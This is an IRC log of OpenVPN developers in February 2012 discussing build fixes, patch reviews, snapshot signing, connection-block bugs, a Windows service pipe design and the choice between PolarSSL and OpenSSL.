timeout: 245 seconds] 16:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Mon Feb 13 2012 02:08 -!- dazo_afk is now known as dazo 03:54 -!- Netsplit *.net <-> *.split quits: @d12fk, @dazo 03:56 -!- Netsplit *.net <-> *.split quits: @mattock, uuuppz, @raidz_afk, EvilJStoker, @cron2, @vpnHelper, @andj, waldner 03:59 -!- Netsplit over, joins: EvilJStoker, @mattock, @andj, waldner, @raidz_afk, @vpnHelper, uuuppz, @cron2 04:00 -!- Netsplit over, joins: @d12fk, @dazo 04:01 -!- dazo [dazo@openvpn/community/developer/dazo] has quit [Quit: *puff*] 04:03 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:03 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:37 -!- Netsplit *.net <-> *.split quits: @d12fk, @dazo 04:39 -!- Netsplit over, joins: @d12fk 04:40 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:40 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:49 <@cron2> mattock: strange that this bug that was reported on openvpn-devel saturday didn't show up in buildbot 05:49 <@mattock> hmm 05:51 <@mattock> you mean [PATCH] Check for ENABLE_MANAGEMENT for ENABLE_CLIENT_CR 05:51 <@cron2> yep, that one 05:54 <@mattock> probably because he had other (unspecified) build flags defined also... we only test all combinations of --disable-lzo, --disable-ssl, --disable-management and --disable-crypto 05:54 <@cron2> we should add --enable-small into the mix 05:55 <@cron2> maybe not all combinations, just one extra --disable-everything + --enable-small - that's the "disable everything that costs memory" combination 06:09 <@mattock> makes sense 06:11 <@mattock> added to my todo 06:28 <@dazo> I tried to compile latest master ... with --enable-small ... with and without --disable-management ... and it compiled just fine 06:32 * dazo responded to that mail 06:35 <@dazo> andj: http://thread.gmane.org/gmane.network.openvpn.devel/5383 ... is that something you would have any ideas about? (yeah, I know, it's not polarssl ;-)) 06:35 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:38 <@cron2> dazo; yeah, that's an interesting one 07:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 07:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:46 * dazo soon begins to hate #ifdef with passion .... 08:47 * cron2 puts a mark in his calendar 08:48 <@dazo> hehe 08:49 <@dazo> ENABLE_CLIENT_CR is cruel ... especially in manage.c ... 08:49 <@dazo> and misc.c 08:50 <@dazo> code code, #ifdef, #endif code code, #ifdef, #endif, code, #ifdef, #endif ..... all with ENABLE_CLIENT_CR 08:50 <@dazo> in the same function 08:50 <@cron2> hooray 09:08 <@dazo> cron2: got time for two quick acks? attached as patch files in the "Check for ENABLE_MANAGEMENT for ENABLE_CLIENT_CR" mail thread ... just replied to the mailing list now 09:08 <@dazo> I'll get d12fk patches processed later today 09:09 <@d12fk> good 09:09 <@d12fk> i think we agree that we dont want ucs-2 formatted config files in windows 09:10 * cron2 agrees 09:10 <@d12fk> would break compat and mess up options.c 09:10 <@d12fk> besides i haven't see a 16 bit config file anywhere 10:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:09 <@dazo> d12fk: I've gone through your v2 patch ... I must admit that Alon got a point, reviewing the SSL parts wasn't that trivial at all (and I don't think I've caught everything) ... but I'll let this slip through this time, as I believe you've done proper testing of these changes 10:10 <@dazo> so, next time, I'd appreciate if you'd split this up one more individual changes - which takes care of separated changes, as much as possible 10:15 <@d12fk> dazo: i can split the patch, but it will take a while 10:15 <@d12fk> where are the problematic parts? 10:16 <@dazo> d12fk: nah, never mind on this one ... I've already applied it :) 10:16 <@dazo> but next time ;-) 10:16 <@d12fk> hehe 10:16 <@dazo> it's just that there's quite some changes in ssl_openssl.c 10:16 <@dazo> ssl_openssl.c | 459 +++++++++++++++++++------------------------------- 10:16 <@d12fk> most of it is using the code that was already there for inline files 10:17 <@d12fk> the other parts are replacing ossl api calls with the code in them until i can get hands on a fopen equivalent 10:17 <@dazo> yeah, saw that ... and having a "step-by-step" commits here, would help reviewing these changes ... some are not directly related to utf-8/wide-char stuff ... but these changes would benefit it 10:19 <@d12fk> i see that, but restructuring would have cases the same work again i suspect 10:20 <@dazo> yeah, it's easy to step into a catch-24 10:20 <@dazo> whoops .... 10:20 <@dazo> status.o: In function `status_open': 10:20 <@dazo> /home/dsommers/devel/OpenVPN/openvpn-testing/status.c:84: undefined reference to `openvpn_open' 10:20 <@dazo> /home/dsommers/devel/OpenVPN/openvpn-testing/status.c:79: undefined reference to `openvpn_open' 10:20 <@dazo> /home/dsommers/devel/OpenVPN/openvpn-testing/status.c:74: undefined reference to `openvpn_open' 10:20 <@d12fk> interesting 10:21 <@dazo> yeah ... don't see instantly why the linker would fail though ... I'll do a ./doclean and try again 10:21 <@dazo> (might be some stale files) 10:21 <@d12fk> builds with the openvpn repo here 10:22 <@dazo> sometimes the dependency grapher in autotools fails ... and one file (misc.c here?) isn't recompiled 10:22 <@dazo> uhm ... nope, that was not the case 10:22 * dazo digs deeper 10:23 <@d12fk> are you building for unix 10:23 <@d12fk> or cross compiling 10:24 <@dazo> linux build 10:25 <@d12fk> that's prolly it 10:25 <@d12fk> hang on i shed an eye on it 10:25 <@dazo> interesting, looks like status.c doesn't really include misc.h 10:25 <@dazo> I attached #warning in the #else block of a target_win32 ifdef .... and it turns up everywhere else, except status.c 10:27 <@dazo> duh 10:27 <@dazo> I looked at wrong file ... status.c doesn't include misc.h 10:27 <@dazo> diff --git a/status.c b/status.c 10:27 <@dazo> index 5f32a83..8fd89ef 100644 10:27 <@dazo> --- a/status.c 10:27 <@dazo> +++ b/status.c 10:27 <@dazo> @@ -26,6 +26,7 @@ 10:27 <@dazo> 10:27 <@dazo> #include "status.h" 10:27 <@d12fk> thats the downside of inline 10:27 <@dazo> #include "perf.h" 10:27 <@dazo> +#include "misc.h" 10:27 <@dazo> 10:27 <@dazo> #include "memdbg.h" 10:27 <@dazo> 10:27 <@dazo> that's it 10:27 <@dazo> yeah :) 10:28 <@dazo> I presume you'll grant me an ACK instantly ;-) 10:28 <@d12fk> true 10:28 <@d12fk> i can even send a v3 10:28 <@dazo> nah, I'll just apply this on the top 10:28 <@d12fk> ok 10:31 <@dazo> running make check now ... and then I'll push it out :) 10:31 <@d12fk> suddenly feeling like this needs more review =/ 11:05 -!- raidz_afk is now known as raidz 11:05 -!- Intensity [5OGDduUVyc@unaffiliated/intensity] has joined #openvpn-devel 11:13 <@vpnHelper> RSS Update - testtrac: Fix compile issues with status.c <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bdf9ab751644ed22499e80ed69a37d14461a81ff> || Remove --show-gateway if debug info is not enabled (--disable-debug) <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ecede953d6366e9fbfecea62cc1f61fd2347dab7> || Fix compile issues when plug-ins ar 12:33 <@cron2> dazo: are the bots building this now? 12:33 <@cron2> is ecrist here? 12:38 < ecrist> yep 12:39 < ecrist> cron2: 12:52 <@cron2> ecrist: I think it's worth updating the FreeBSD port again. Lots of cool stuff went in :-) 12:55 <@dazo> cron2: I haven't checked yet 12:59 <@dazo> cron2: several boxes failed, due to t_client.rc, test-client.crt, test-client.key and test-ca.crt files missing in /root 12:59 <@dazo> but not on all ... builds seems to have gone fine, though 13:03 <@dazo> only on the 'full feature set' builds, though ... on freebsd-{7.4, 8.2, 9.0}, netbsd-5.1, openbsd-4.9, debian-6-i386, ubuntu-10.04-amd64 13:04 <@dazo> debian-5.0-amd64 failes on the t_client tests 13:23 <@cron2> dazo: I think that's "mattock is working on it and not everything being in place yet" 13:23 <@dazo> ahh, that explains it 13:23 <@cron2> I run my t_client tests from a different build dir than buildbot 13:24 <@dazo> goodie ... then I won't pay attention to it ... the compile itself (and the "default" make check) looked fine on these 13:24 <@cron2> whut 13:24 <@cron2> just noticed that the openwrt bug report we received is for the "openvpn-polarssl" package 13:24 <@cron2> woo 13:25 <@cron2> I thought it is for openvpn-devel, which I maintain (sort of), but that one hasn't been updated in a while - but openvpn-polarssl is (obviously) much more -current 13:25 <@dazo> yeah :) 13:25 <@dazo> hehehe 13:25 <@dazo> just missing blowfish support ...... 13:28 <@dazo> but would be great to get -devel up-to-date too .... if you're swamped with tasks .... maybe ask if that guy with -polarssl would be willing to help out? 13:29 <@cron2> it's not much work, just send a patch to the list as soon as we decide "this is a good snapshot". So after todays fixes, maybe next monday's ecrist snapshot would be reasonable 13:29 <@cron2> (which reminds me I haven't seen any ecrist checksum mail today?) 13:30 <@dazo> good point 13:31 <@cron2> off to sofa+tv now... wife needs some attention :-) - see you tomorrow 13:31 <@dazo> c'ya! 13:31 * dazo is mailing mattock about doing a windows test build ... we're ready for alpha1 now, I'd say 13:34 * dazo decides to pull in one more patch ... the connection-block thingy from JJK 13:44 < ecrist> sorry, I ducked into a meeting 13:44 <@dazo> ecrist: if you're spinning a new snapshot manually ... please wait a few sec ... and I'll have even one more patch ready 13:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:45 <@dazo> okay ... done! new tree is pushed out 13:47 < ecrist> dazo: snapshots roll weekly automatically 13:47 < ecrist> I sign them manually 13:47 <@dazo> ahh, okay 13:47 <@dazo> that explains :) 13:47 < ecrist> the FreeBSD port is rolled manually, as I have time/desire 13:47 < ecrist> or someone pokes me to roll a new one 13:48 <@dazo> ecrist: I just pulled in a patch from JJK ... which enables more options to be used inside <connection> blocks ... a feature been asked several times 13:48 <@vpnHelper> RSS Update - testtrac: Made some options connection-entry specific <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=76809cae0eae07817160b423d3f9551df1a1d68e> 13:48 <@dazo> talking 'bout the sun 13:48 * ecrist generates signature 13:50 < ecrist> sent 13:50 <@dazo> thx 13:50 < ecrist> see, this is how you know i manually sign it ;) 13:50 < ecrist> because I usually forget 13:51 <@dazo> hehe :) 13:51 < ecrist> fwiw, the system I use to sign the package is the system that generates them, which is physically different, and on a different network, than what serves it via ftp 13:51 < ecrist> so, iow, I'm not signing a trojaned package. 13:51 <@dazo> that's good! 13:53 < ecrist> so, you guys want me to wait until Monday to update the FreeBSD port? 13:54 < ecrist> or, if you like, I can reroll the 07 snapshot, but it'll be 201207-1.tar.gz 13:54 <@dazo> yeah, that'd be good ... it's a lot of good stuff in now ... and this will most likely be our 2.3-alpha1 13:54 <@dazo> (you may wait until next Monday, that is) 13:54 <@dazo> we might need a few Windows fixes ... but that's basically it 13:58 < ecrist> what sorts of changes are in? 13:59 <@dazo> David Sommerseth (3): 13:59 <@dazo> Fix compile issues when plug-ins are disabled. 13:59 <@dazo> Remove --show-gateway if debug info is not enabled (--disable-debug) 13:59 <@dazo> Fix compile issues with status.c 13:59 <@dazo> Heiko Hund (1): 13:59 <@dazo> handle Windows unicode paths 13:59 <@dazo> Igor Novgorodov (1): 13:59 <@dazo> The code blocks enabled by ENABLE_CLIENT_CR depends on management 13:59 <@dazo> Jan Just Keijser (1): 13:59 <@dazo> Made some options connection-entry specific 13:59 <@dazo> ecrist: ^^ ... the patches from Igor and me are build related (esp. when disabling a lot of crap) ... Heiko's patch is Windows only ... and JJK is the feature thing 14:00 <@dazo> (that's changes since the last snapshot) 14:00 < ecrist> how did you pull that? 14:00 <@dazo> git shortlog 3a90edbd194140eef51c245edfcf9afc0ecb2d13..HEAD 14:01 < ecrist> I've got the revision.log now, but I want to also have a ChangeLog that goes out with it 14:01 < ecrist> hrm, unless I already do 14:01 <@dazo> we haven't done changelog updates .... that I only do when tagging (then I use git shortlog) 14:02 < ecrist> oh yeah, I do 14:02 < ecrist> /usr/local/bin/git log --since="Jan 1" > ChangeLog 14:02 < ecrist> part of my tagscript that generates the snapshot 14:02 < ecrist> :D 14:02 <@dazo> hehehe :-D 14:03 <@dazo> just did: git shortlog v2.2.0..HEAD ... that gives quite a changelog for things we've done 14:04 <@dazo> (actually, checking against v2.2.2 is probably more correct - a few patches less) 14:04 < ecrist> that's probably the correct path 14:05 <@dazo> well, master and v2.2 branched even earlier ... and we've cherry-picked from master to the v2.2 branch 14:05 <@dazo> the idea is that everything in v2.2 should be in master, but there are a few exceptions though, which are 2.2-only fixes (as the issue is strictly 2.2 related, not 2.3) 14:06 <@dazo> need to verify the changelog a bit better 14:07 <@dazo> 390 patches 14:07 <@dazo> (well, the polarssl stuff is ~150 of them) 14:27 < ecrist> bah, found a bug in my tagscript 14:27 < ecrist> internationally, is sunday or monday considered the first day of the week? 14:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: Seeya!] 14:31 < ecrist> well, according to ISO 8601 Monday is day 1, so that's what I'll use 15:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:16 <@dazo> ecrist: that's what the whole Europe lean towards, Monday being the first day of the week 16:16 <@dazo> (Africa too I believe) 17:02 -!- dazo is now known as dazo_afk 17:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 18:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:12 -!- raidz is now known as raidz_afk 18:23 -!- raidz_afk is now known as raidz 19:07 -!- raidz is now known as raidz_afk 20:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Tue Feb 14 2012 02:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:54 <@andj> Woohoo 03:54 <@andj> The new OpenVPN-NL release is out :) 03:54 <@andj> With improved Polar RNG 03:58 -!- dazo_afk is now known as dazo 03:58 <@dazo> andj: cool! :) 03:59 * dazo has discovered a bug which JJK's patch flushes out ... somehow 04:00 <@cron2> dazo: good, this 04:00 <@dazo> and it's most likely related to how options are parsed .... :/ 04:02 <@dazo> somehow, either link_mtu_defined and tun_mtu_defined are by default in outside the connection entry (in the global options) ... but when it moved into a connection entry, neither seems to be set 04:02 <@dazo> and this triggers an ASSERT() 04:14 <@andj> And the gc_malloc instead of malloc patches for X.509 are out too 04:15 * andj finally has a little time for OpenVPN stuff :) 04:20 <@dazo> great! 04:22 <@dazo> andj: it would be really great if you can have a look at JJK's patch for elliptic curves (subject is his "Signed-off-by" line ...) 04:23 <@andj> I'll try to have a look at it in a sec, I'm looking into the CBC bug report first 04:26 <@dazo> ahh, nice! thx a lot! 04:38 <@dazo> hah! nailed it! 04:38 <@dazo> it's the chaos with options_postprocess_mutate mess 04:39 * cron2 doesn't want to go there 04:40 <@cron2> andj: is this really more effective, passing around gc's instead of just using a local buffer + length? 04:41 <@cron2> to me, patch1/3 looks like "code gets more complicated" 04:43 <@cron2> (but maybe there are non-obvious benefits) 04:44 <@cron2> andj: this is not a NAK but not an ACK either, "request for more information" 04:53 <@cron2> dazo: why is this triggered by jjk? 04:53 <@dazo> it's actually a bug JJK introduce4d 04:54 <@dazo> he set the *_mtu_defined variables on the wrong place 05:00 <@dazo> mattock: d12fk: Could you guys review the "Allow to fill Details tab for exe files" mail thread? We should try to pull in that, if it makes sense ... and if needed, try to figure out how to make those patches ready for inclusion 05:02 <@andj> cron2: the patch makes the code a little more symmetrical, in the sense that the allocation pool gets created and destroyed at the same level, while in the other situation you have a malloc and free in different functions 05:03 <@andj> that makes the allocation a lot clearer to a caller, preventing memory leaks in the future, if someone else calls it 05:22 <@andj> Hmm, I'm a little stumped by that bug 05:23 <@dazo> :) 05:32 -!- Netsplit *.net <-> *.split quits: @vpnHelper, EvilJStoker, Intensity, waldner, uuuppz 05:32 -!- Netsplit over, joins: Intensity, EvilJStoker, @vpnHelper, waldner, uuuppz 06:39 <@dazo> A great talk about how to be more successful about F/OSS development ... http://www.youtube.com/watch?v=fRk97h1FLow 06:39 <@vpnHelper> Title: 2011 SouthEast LinuxFest - Tom Callaway - This Is Why You FAIL - YouTube (at www.youtube.com) 06:58 <@cron2> we need someone to run t_client tests with connection blocks 07:05 <@dazo> I'm almost every day opening up 3 different OpenVPN tunnels ... and this is how I stumbled upon this bug 07:05 <@dazo> and all three have different setups ... with/without IPv6, tun and tap, connection block, with and without authentication 07:06 <@dazo> and I'm these days running my clients primarily from latest master builds 07:11 <@dazo> d12fk: btw! your X.509 change which you introduced .... that broke eurephia pretty nicely :) So I think we need a possibility to have a compat mode, somehow 07:12 <@dazo> If course, I'm fixing eurephia ... but there are others which might depend on this - where it will not be a trivial quick-fix 07:56 <@cron2> why did this break the plugin? 07:57 <@dazo> because the syntax of the certificate ID changed ... from /C=common name/O=organisation/..... to C=common name, O=organisation,..... 07:57 <@dazo> so parsing this string would require a different method 07:58 <@dazo> it'll also break the --tls-remote method, if you're using the complete certificate string ... as it needs to be changed as well 07:59 <@dazo> and ... then there is this 'rename' feature ... which removes non-A-to-Z-and-0-to-9 chars to underscores too ... which this new approach will not do 08:00 <@dazo> ('O=OpenVPN Technologies' is transported to plug-ins as 'O=OpenVPN_Technologies') 08:32 < uuuppz> d12fk: dazo has been telling me you've done a load of work on a service pipe structure. mind giving me a run down whenever is convenient? sounds similar some of the stuff I've been upto, want to know what I could utilise or maybe comment on. 08:39 <@d12fk> uuuppz: what do want to know? about the message structure between ovpn and the service? 08:48 < uuuppz> well 08:48 < uuuppz> I know nothing 08:48 < uuuppz> so a brief overview 08:48 < uuuppz> then maybe some details.... 08:56 <@d12fk> gui usses named pipe to pass directory, options and stdin to service. service starts a thread handling this request. thread impersonates as pipe client, creates another named pipe, starts ovpn, passes client end of the second named pipe to ovpn as option, waits for messages on the server end of that pipe. ovpn requests setting of routes (and other stuff eventually) through the pipe, service handles the messages and responds with a ack message. if ovpn or 08:56 <@d12fk> the pipe go down the thread in the service ends and diconnects the pipe client (gui) as well 08:58 <@d12fk> many threads can coexist next to each other allowing the gui to establish more than one tunnel 08:58 <@d12fk> thats the general picture 09:32 < uuuppz> embedded into openvpn 09:32 < uuuppz> or as a seperate service host? 09:34 < uuuppz> ah sry 09:34 < uuuppz> so 09:35 < uuuppz> gui - pipe -> service - pipe -> ovpn? 09:35 <@d12fk> yeah 09:45 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 248 seconds] 09:50 <@dazo> and the "service" section here, is the only one with privileged system access ... the rest runs as the normal user 09:56 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 10:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:25 <@andj> I've managed to convince a colleague to compile OpenVPN on his mac 10:26 <@andj> and replicated the bug with the CBC mode stuff 10:26 <@andj> but I can't get it replicated on a PC 10:26 <@andj> so I'll have to see whether he'll be friendly enough to debug the problem for me :) 10:34 <@dazo> I hope that works out :) 11:20 -!- raidz_afk is now known as raidz 11:27 <@andj> remote debugging via mail :p 11:28 <@dazo> ouch :) 11:41 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 11:55 -!- Netsplit *.net <-> *.split quits: @vpnHelper, Intensity, uuuppz 11:56 -!- Netsplit over, joins: Intensity, @vpnHelper, uuuppz 12:27 -!- Netsplit *.net <-> *.split quits: @raidz 13:23 <@vpnHelper> RSS Update - testtrac: Connection entry {tun,link}_mtu_defined not set correctly <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=86e8754cd83d6c91a1ead344aea8c0ee131a9f26> 13:57 < ecrist> is there the ability to output the environment at log level 4+ on startup? 13:57 < ecrist> or could it be added? 14:01 <@dazo> no, there's not an option for doing that ... how would that help debugging? 14:01 < ecrist> by helping figure out what user the process is running as 14:02 < ecrist> particularly windows 14:03 <@dazo> yeah, not sure what kind of variables and their contents on Windows .... but we could at least report some kind of user information 14:04 <@dazo> but considering the new regime d12fk is preparing for ... that would be something which would go into the openvpn service helper .... which runs as a system service with the proper privileges ... the GUI and the OpenVPN process itself will run with the users privileges 14:05 <@dazo> and this we want to have in 2.3 .... even though, it won't hit the first alpha release though 14:05 <@dazo> (he demonstrated it at FOSDEM ... and it really seems to work wonderfully) 14:09 <@dazo> oh dear ... I don't even want to look further into getting running user info on Windows after reading this .... http://suacommunity.com/dictionary/getuid-entry.php 14:09 <@vpnHelper> Title: Unix to Windows Porting Dictionary for HPC (at suacommunity.com) 14:14 <@dazo> if I've understood it correctly (I hope I have not) ... then this is the Windows version of geteuid() or getuid() ... http://msdn.microsoft.com/en-us/library/aa446670%28v=vs.85%29.aspx 14:14 <@vpnHelper> Title: Getting the Logon SID in C++ (Windows) (at msdn.microsoft.com) 14:14 <@dazo> I don't want to even look into how to translate those tokens into a username 14:30 < ecrist> lol 14:39 -!- dazo is now known as dazo_afk 15:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 18:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:38 <+krzee> whats the max amount of --remote entries i can use? --- Day changed Wed Feb 15 2012 01:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:58 <@d12fk> is there any reason why openvpn does not fail a connection attempt when the server uses compression, but the client does not. It fails the other way around using 2.1.1. 04:42 -!- dazo_afk is now known as dazo 05:06 <@dazo> krzee: I think the limit is 64 <connection> blocks ... and if I understand it correctly, each connection block and outside connection blocks can have 64 remote entries 05:07 <@dazo> (but the option parser is still a nasty mystery for me, how it *really* works ... as it's quite recursive on several levels 05:08 <@dazo> (the option parser is so clever written, that it is almost too clever) 05:18 <@dazo> d12fk: if you mean one side using --comp-lzo {no|yes|auto} ... and the other side nothing .... I'd say it should fail 05:19 <@dazo> this might be related to another issue I've seen in master ... it sometimes doesn't manage to reconnect properly ... and disconnecting the client side with --explicit-exit-notify is the only way how to reconnect again ... some SSL session stuff is not tackled well on the server side 05:20 <@dazo> (not directly related ... but might somewhat be related to other things around the reconnection logic) 05:25 <@d12fk> dazo: this is happening with tcp, so --explicit-exit-notify isnt used 05:25 <@dazo> yeah, that's implicit with tcp 05:25 <@d12fk> but see it as a bug as well right 05:26 <@dazo> hmm ... well, I'm worried we have some ugly beasts hiding in the dark corners of the reconnection logic 05:27 <@cron2> nothing will *want* to hide there 05:27 <@dazo> not if you're sane ..... 05:27 <@d12fk> the server end is actually restarted after the compressionsetting changed, so that code path shouldnt be in play here 05:28 <@dazo> I know ... but I would expect the same reconnect logic to be reused on server and client .... 05:29 <@d12fk> but shouldnt the server turn down to attempt is the clinet comes in with no comp proposal? 05:29 * d12fk has no idea how the protocol does negotiate that 05:29 * dazo dunno 05:29 <@cron2> I'm not sure if comp is *proposed* by the client, or whether there is any negotiation going on. jjk investigated that, and ran away screaming, if I remember correctly. 05:30 <@dazo> I've tried to stay far away from anything which smells like socket and connection related stuff 05:30 <@dazo> but I believe JJK disappeared for a while and came back rather pale, yes 05:32 <@d12fk> arg... and now you guess who has an open ticket about this 05:32 * dazo feels sorry for d12fk 05:32 <@dazo> well, I can sure try to have a look with you at it 05:34 <@d12fk> i'll just rewrite the whole thing then. that's what i always do if cant understand code for syntactic reasons =) 05:35 <@dazo> yeah ... that probably makes sense .... however, you don't know what you'll pull up when chopping up that code ... 05:40 <@dazo> One connecting point ... seems to be init_instance() where things really begins to happen 05:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:57 <@cron2> dazo: do you have experience with git cvsimport? 11:01 <@dazo> cron2: I've tried it once ... which is the openvpn-cvs-historical.git tree :) 11:01 <@cron2> mmmh 11:02 <@dazo> cron2: have you seen this one? http://maymay.net/blog/2008/04/15/how-to-import-cvs-code-repositories-into-git-using-git-cvsimport/ 11:02 <@vpnHelper> Title: How to import CVS code repositories into Git using `git cvsimport` at Everything In Between (at maymay.net) 11:02 <@cron2> I need to maintain a project in CVS "because it's part of a larger thing" but want to make a public git repo available, and wonder how sane that is (commits only go to cvs, git is readonly). It seems to work, even with incremental updates, but still :) 11:02 <@dazo> ahh 11:02 <@cron2> haven't seen that particular one 11:02 <@cron2> *read* 11:02 <@dazo> well, get everything up with git ... and then you can enable the git cvs server 11:03 <@dazo> which CVS clients can connect to, and you do everything in git 11:03 <@dazo> http://linux.die.net/man/1/git-cvsserver 11:03 <@vpnHelper> Title: git-cvsserver(1): CVS server emulator for git - Linux man page (at linux.die.net) 11:03 <@cron2> I'm fine with having the cvs read-write and the git read-only, it's more about the incremental updates and the commitish's staying the same when cvs changes 11:04 <@dazo> that's close to impossible though, that way ... as git has so much more data in the commit history ... so it basically would fail badly 11:04 <@cron2> (It needs to be an actual CVS, as it is part of a larger project that is being accessed by real CVS tools) 11:05 <@cron2> why? as long as it doesn't change old commits, and just adds new stuff on CVS commits, it should work 11:05 <@dazo> I don't recall the details ... but I've seen some lengthy discussions about why that's not easy to do 11:05 <@dazo> but this is a very long time ago 11:06 <@cron2> mmh. I'll just go and experiment with it :-) 11:07 <@dazo> The closest I did ... was to do a 'git init' in a checked out CVS project ... and did all my git tracking that way ... and when I was satisfied, I did the CVS commit and a git tag if I had a CVS tag to apply 11:07 <@dazo> but the thing is that CVS tracks *files* individually ... while git tracks *contents*, regardless of files 11:08 <@cron2> that's what cvsps does - extract change sets from cvs 11:08 <@cron2> (it will explode if you move around files, but I don't do that anyway, because CVS doesn't deal with it in a nice way) 11:09 <@dazo> ahh, then I understand why cvsps is needed for cvsimport to work 11:12 <@cron2> and when importing, it groups changes in CVS by timestamp ("everything hat happenes close by is one patch set!"), so the results are surprisingly good 11:13 <@cron2> one other thing that I'm not sure i understand - what is needed to publish a git repository? 11:13 <@cron2> only the stuff in ".git", or the files that you get at "checkout" time as well? 11:13 <@dazo> just the .git directory 11:14 <@dazo> that's what's being pushed ... and is basically the complete repository 11:14 <@cron2> git cvsimport creates a directory that is empty, and has a .git subdirectory - when I clone that, I get a directory full of files plus .git directory 11:14 <@cron2> ok 11:14 <@cron2> need to go... $daughter and $wife are hungry 11:14 <@dazo> git clone will "unpack" the tree according to which commit HEAD is pointing at 11:16 <@cron2> thanks 11:47 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o raidz_afk] by ChanServ 11:47 -!- raidz_afk is now known as raidz 12:59 <+krzee> i have started a darknet that will be for business... should i think about the polarssl build? 13:01 <@dazo> krzee: polarssl is indeed very interesting 13:02 <@dazo> it's not completely up-to-speed when it comes to features compared to openssl ... but what it supports isn't weaker in a security point of view 13:07 <+krzee> is it stronger? 13:07 <+krzee> i have to assume it is since nl gov wanted it 13:07 <+krzee> but i wouldnt really know 13:07 <@dazo> it's not stronger, it's the same ... but to review polarssl, that's a breeze compared to openssl 13:08 <+krzee> ahh i see 13:08 <@dazo> from what I heard the polarssl developer said, the dutch government said "no way in hell we're going to review openssl" 13:08 <+krzee> so maybe less chance of a security issue in polarssl than openssl 13:08 <+krzee> ahh i see 13:09 <@dazo> potentially ... however, it has already had two CVE advisories already ... one was related to weak random generator when run in a guest in a VM 13:09 <@dazo> (that's fixed now, though) ... but it might be easier to fix things there 13:09 <+krzee> right, and openssl has many many more eyes on it 13:10 <@dazo> krzee: http://video.fosdem.org/2012/devrooms/security/ ... see the paul bakker videos ... that's the polarssl developer talking about it 13:10 <@vpnHelper> Title: Index of /2012/devrooms/security (at video.fosdem.org) 13:10 <+krzee> sweet thanks =] 13:11 <@dazo> actually, he came as a "big surprise" to fosdem ... and nobody among us openvpn guys new about it ... while he had the talk in a room across the hall from the hackroom we were sitting ... 13:16 <+krzee> haha thats badass 13:17 <@dazo> we didn't make it easy for him, esp as andj knows him well :) 13:42 <@mattock> dazo: just got your mail, I've been busy like a bee doing usability testing 13:42 <@mattock> (combined work and study, fortunately) 13:42 <@mattock> I'll test the Windows builds starting tomorrow at ~12:00 UTC 13:42 <@mattock> just got the usability thingy out of my hands 13:42 <@dazo> mattock: sure no problem :) it's actually good you didn't do anything before now ... we found a bug in one of the patches we pulled in from JJK - which is fixed now 13:43 <@mattock> ok, good I was slow and unresponsive :D 